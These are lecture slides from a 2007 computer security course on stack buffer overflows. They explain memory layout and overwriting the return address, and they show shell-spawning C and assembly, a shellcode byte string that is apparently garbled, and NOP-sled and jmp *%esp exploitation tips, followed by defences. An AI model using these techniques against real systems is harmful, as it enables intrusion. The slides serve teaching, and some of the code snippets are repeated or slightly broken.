Lecture 9: Buffer Overflow*

CS 392/6813: Computer Security
Fall 2007

Nitesh Saxena

*Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit) and Stanislav Nurilov

Course Admin

- HW#6 is being graded
  - Solution to be posted
- HW#7 was due last night
- HW#8 (threat modeling) to be posted soon
- **Final on Thursday, 12/20, 6 – 8:30pm?**
Course Admin: HW #9

- On Buffer Overflow
- **Team up in groups of 2 each**
  - You will have (root) access to virtual machines in ISIS
  - For the exercise, you’ll have to create a user account and work under that account
  - Make sure that you don’t mess up the system
  - Instructions and homework will follow later

Why study buffer overflow?

- Buffer overflow vulnerabilities are the most commonly exploited-account for about half of all new security problems (CERT)
  - Are relatively easy to exploit
  - Many variations on stack smash-heap overflows, etc.
  - We’ll focus upon static buffer overflow vulnerabilities
Recall the Security Life Cycle

Threats → Policy → Specification → Design → Implementation → Operation and Maintenance

Which stage?

How Computer Works

- There is a processor that interfaces with various devices
- Processor executes instructions
  - Add, sub, mult, jump and various functions
Where to get the instructions from

- Each process “thinks” that it has 4GB (2^32) of (virtual) memory
- Instructions are loaded into the memory
- Processor fetches and executes these instructions one by one
- How does the processor know where to return back after “jumping” and after returning from a function

Process Memory Organization

<table>
<thead>
<tr>
<th>Code</th>
<th>Data</th>
<th>Heap</th>
<th>Stack</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
<td>→</td>
<td>←</td>
</tr>
</tbody>
</table>

0xFF
Process Memory Organization

<table>
<thead>
<tr>
<th>Code</th>
<th>Stack</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0xFFF</td>
</tr>
</tbody>
</table>

Process Memory Organization

STACK

---

CODE

FP frame pointer

SP stack pointer

IP instruction pointer
Function Calls

```c
void function (int a) {
    char buffer1[5];
}

void main () {
    function (1);
}
```
Buffer Overflow: Example

```c
void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}
void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```

Buffer Overflows

<table>
<thead>
<tr>
<th>*str</th>
<th>ret (main)</th>
<th>sp (main)</th>
<th>FP</th>
<th>buffer</th>
<th>SP</th>
</tr>
</thead>
</table>

```
void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}
void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
Buffer Overflows

```c
void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}
```

```c
void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```
Buffer Overflows

```
*str
ret (main)
0x41 41 41 41 ← FP
0x41 41 41 41
0x41 41 41 41 ← SP

void function(char *str) {
    char buffer[8];
    strcpy(buffer, str);
}

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```

Buffer Overflows
## Buffer Overflows

```c
void function(char *str) {
    char buffer[8];
    strcpy(buffer, str); }

void main() {
    char large_string[256];
    int i;
    for (i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}
```

---

IP → 0x14141414

Segmentation Fault
Modifying the Execution Flow

```c
void function() { char buffer1[4];
    int *ret;
    ret = buffer1 + 8;
    (*ret) += 8; }

void main() { int x = 0;
    function();
    x = 1;
    printf("%d\n",x); }
```
Modifying the Execution Flow

```c
void function() {
    char buffer1[4];
    int *ret;
    ret = buffer1 + 8;
    (*ret) += 8;
}

void main() {
    int x = 0;
    function();
    x = 1;
    printf("%s\n",x);
}
```

Exploiting Overflows-
Smashing the Stack

- Now we can modify the flow of execution - what do we want to do now?

- Spawn a shell and issue commands from it
Exploiting Overflows-
Smashing the Stack

- Now we can modify the flow of execution—what do we want to do now?
- Spawn a shell and issue commands from it

Exploiting Overflows-
Smashing the Stack

- What if there is no code to spawn a shell in the program we are exploiting?
- Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!
Exploiting Overflows—Smashing the Stack

- What if there is no code to spawn a shell in the program we are exploiting?
- Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!

Spawning a Shell

```
#include <stdio.h>
#include <stdlib.h>

void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0);
}
```
Spawning a Shell

```
void main() {__asm__(" jmp 0x2a
    popl %esi
    movl %esi,0x8(%esi)
    movb $0x0,0x7(%esi)
    movl $0x0,0xc(%esi)
    movl $0xb,%eax GDB
    movl %esi,%ebx BINARY CODE
    leal 0x8(%esi),%ecx
    leal 0xc(%esi),%edx
    int $0x80
    movl $0x1, %eax
    movl $0x0, %ebx
    int $0x80
    call -0x2f
    .string "/bin/sh"         ");
```

```
char shellcode[] =
  "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x56\x0c\xcd\x80"
  "\x00\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x00\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x00\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x00\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x00\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x00\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x00\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x00\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  "\x00\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80";
```
How to find Shellcode

1. Guess
   - time consuming
   - being wrong by 1 byte will lead to segmentation fault or invalid instruction

2. Pad shellcode with NOP’s then guess
   - we don’t need to be exactly on
   - much more efficient
Can we do better?

- If we can find the address where SP points to, we are home

Can we do better?

- Find out what shared libraries are being used by the vulnerable program
  - Use ldd command
  - This also provides the starting address where the shared libraries are stored in process’s memory
- Find out where in the shared library the instruction jmp *%esp occurs
- Add this to the starting address of the shared library
- At %esp, store the instruction jmp -constant offset
Consider the simple program

```c
int function(char * a){
    char buff[256];
    if(a==NULL) return -1;
    strcpy(buff, a); return 1;
}
int main(int argc, char** argv){
    func(argv[1]);
    return(0);
}
```

Stack Contents – Normal Execution

- Before function call
- During function call
- After function call
Stack Contents – buffer overflow

How to prevent buffer overflows

- **Programmer level:**
  - Check the length of the input
    - Use functions strncpy (instead of strcpy)
  
- **OS level:**
  - Techniques such as address space layout randomization
References

- Smashing the Stack for Fun and Profit: http://doc.bughunter.net/buffer-overflow/smash-stack.html
- Text Book?